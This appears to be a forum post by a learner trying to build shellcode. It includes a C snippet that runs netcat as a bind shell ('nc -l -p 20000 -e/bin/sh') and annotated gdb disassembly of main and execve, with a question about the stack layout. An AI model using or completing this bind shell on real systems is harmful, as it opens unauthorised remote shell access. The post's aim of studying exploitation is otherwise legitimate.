The way I learned to do it, first I write some c-code like so:
Code:
char *args[] = {"/bin/nc","-l","-p 20000","-e/bin/sh",NULL};
execve(args[0],args,NULL);
Then I disassemble it and try and piece together what the actual assembly should be to make it work. This is where I'm having trouble.. I figure if I can do inline assembly I can at least check myself to see if I did it right or not and then once I have the inline assembly I can get the hex from that. That's the only way I know how to do it.
And apparently I don't even know how to do it that way! I'm trying to start small for now though and see if I can build it together slowly. The first thing I need to overcome is my confusion about how the stack is organized.
I'd like to find out where my arguments are. Here's some assembly code that I assumed corresponded to where my arguments went:
Code:
0x08048241 <main+17>: movl $0x80a66c8,-0x18(%ebp) //put the arguments in memory (/bin/nc)
0x08048248 <main+24>: movl $0x80a66d0,-0x14(%ebp) //there are four arguments (-l)
0x0804824f <main+31>: movl $0x80a66d3,-0x10(%ebp) //I don't know which order they're in (-p 20000)
0x08048256 <main+38>: movl $0x80a66dc,-0xc(%ebp) //I suppose I can find out (-e/bin/sh)
0x0804825d <main+45>: movl $0x0,-0x8(%ebp) //The last one is NULL though
That's my guess as to which argument is which. Then things get put onto the stack and execve is called:
Code:
0x08048264 <main+52>: mov -0x18(%ebp),%edx //This is probably the first argument, put it in edx
0x08048267 <main+55>: movl $0x0,0x8(%esp) //Put 0 on the stack (NULL)
0x0804826f <main+63>: lea -0x18(%ebp),%eax //Put the address of the first argument into eax
0x08048272 <main+66>: mov %eax,0x4(%esp) //Put the address of the first argument onto the stack
0x08048276 <main+70>: mov %edx,(%esp) //Put the first argument onto the stack
0x08048279 <main+73>: call 0x804e4e0 <execve> //When I call there are 3 things I need, all on the stack at 0,4,8
Obviously I have more than one argument but I assume its smart enough to know it should go to the end of my args array to find them all.
Ok, then in execve I get confused because I'm not sure where everything went.
Code:
0x0804e4e0 <execve+0>: push %ebp
0x0804e4e1 <execve+1>: mov %esp,%ebp
0x0804e4e3 <execve+3>: mov 0x10(%ebp),%edx //Take one of these things and put it into edx
0x0804e4e6 <execve+6>: push %ebx
0x0804e4e7 <execve+7>: mov 0xc(%ebp),%ecx //Take one of these things and put it into ecx
0x0804e4ea <execve+10>: mov 0x8(%ebp),%ebx //Take one of these things and put it into ebx
0x0804e4ed <execve+13>: mov $0xb,%eax //eax gets the code for the call
0x0804e4f2 <execve+18>: int $0x80 //call
Do you think you can help me out?
Thanks so much